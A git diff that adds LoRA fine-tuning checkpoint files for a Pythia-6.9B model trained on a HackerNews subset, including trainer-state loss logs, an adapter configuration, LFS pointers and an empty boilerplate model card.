0000000000000000000000000000000000000000..174b5438f88f4c3c799b43c4f559ca991fb938b4 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:7ef310c01f40cba8e9c44af8332d1cb681a7026399804fa2296ed59c6594e708 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..96e7d88ccb01b070eefcb151171a2d1488ccca53 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/trainer_state.json @@ -0,0 +1,408 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 3.3333333333333335, + "eval_steps": 10, + "global_step": 250, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 4.096517996544e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..40e5f403ba429a9378bbb83e085669eb41ec9702 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:61bd9e820cf407fc1703a5f15aab0c1ec1d558a36d9987f6273f6c3c06c713a7 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..18ed7f7a10e6ec820d7dff9023964c9d730adacf --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:fc1699abd0c4e8fc525cdae7c58c8ee7e8c147e492daff8087cc2ba517e62747 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..293d181974003fee2540af0648cfb4e42786ca56 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:78bbc69e88d5e1fb15138660b4de76d03b9476fa1ab2d16370f894a65eab3da3 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..9431a5b0a8e3a7cfc7a6acff3f3ba51f0ea91b16 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e388642b0db2b68dfc847810d17830763a6c1ccd5a0a2c34607435281dfa7f25 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..3295e5cd896ef474145938012cbc0284be058902 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/trainer_state.json @@ -0,0 +1,423 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 3.466666666666667, + "eval_steps": 10, + "global_step": 260, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 4.26037871640576e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid 